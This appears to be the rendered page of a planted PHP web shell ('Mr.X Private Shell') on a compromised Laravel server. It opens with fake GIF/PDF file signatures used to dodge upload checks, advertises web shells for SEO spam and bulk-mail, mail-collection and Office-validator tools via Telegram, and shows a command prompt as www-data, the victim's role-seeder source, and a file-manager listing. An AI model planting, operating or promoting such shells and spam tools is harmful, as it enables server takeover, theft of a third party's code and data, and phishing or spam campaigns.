GIF89; GIF89; %PDF- %PDF- Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.129: ~ $
<?php

declare(strict_types=1);

namespace Database\Seeders;

use App\Domain\Users\UserService;
use App\Enums\RoleEnum;
use App\Models\System;
use App\Models\User;
use Illuminate\Database\Seeder;

final class RoleTableSeeder extends Seeder
{
    /**
     * Run the database seeds.
     */
    public function run(): void
    {
        /**
         * @var UserService $service
         */
        $service = app()->make(UserService::class);
        $roles = [
            //'admin', // Супер-пользователь
            RoleEnum::ACCOUNTANT, // Бухгалтер
            RoleEnum::MODERATOR, // Согласование
            RoleEnum::COLLABORATOR // Сотрудник
        ];
        $users = User::query()->where('email', '!=', 'replay@top-it.ru')->get();
        $models = System::query()->get();
        foreach ($users as $index => $user) {
            $role = $roles[$index % count($roles)];
            foreach ($models as $model) {
                $service->assignRole($user, $role, $model->id);
            }
        }
    }
}

Filemanager

Name Type Size Permission Actions
factories Folder 0755
migrations Folder 0755
seeders Folder 0755
-20260128123626.gitignore File 10 B 0644
.gitignore File 10 B 0644
01KFX1CYAABDKCK27C2KDZBH4V.json File 18.24 KB 0644
BankService.php File 0 B 0644
CashFlowService.php File 0 B 0644
ClockInterface.php File 559 B 0644
MessageDataCollector.php File 1.35 KB 0644
MessageResponse.php File 0 B 0644
OpenApiValidationErrorResponse.php File 726 B 0644
PaymentDistribution.php File 1.13 KB 0644
ProjectSeeder-20260128160914.php File 2.15 KB 0644
ProjectSeeder.php File 2.15 KB 0644
README.md File 1.84 KB 0644
ResourceResponse.php File 0 B 0644
ResponseDto.php File 0 B 0644
RoleTableSeeder-20260128140619.php File 1.04 KB 0644
RoleTableSeeder.php File 1.04 KB 0644
RouteCompilerInterface.php File 733 B 0644
SerializerInterface.php File 1.87 KB 0644
System.php File 801 B 0644
TokenResponse-20260128163140.php File 0 B 0644
TokenResponse.php File 0 B 0644
UserFactory.php File 1.35 KB 0644
accounts.php File 0 B 0644
api-20260128091525.php File 0 B 0644
app.php File 0 B 0644
auth-20260128153734.php File 0 B 0644
cache-20260128133236.php File 0 B 0644
cache.php File 0 B 0644
console-20260128165900.php File 0 B 0644
console.php File 0 B 0644
debugbar-20260128131136.php File 0 B 0644
debugbar.php File 0 B 0644
index.php File 468 B 0644
phpunit.xml File 0 B 0644
samurai_activity.log File 213 B 0644
services-20260128075428.php File 0 B 0644
services.php File 0 B 0644
users.php File 848 B 0644
web-20260128160912.php File 0 B 0644
web.php File 0 B 0644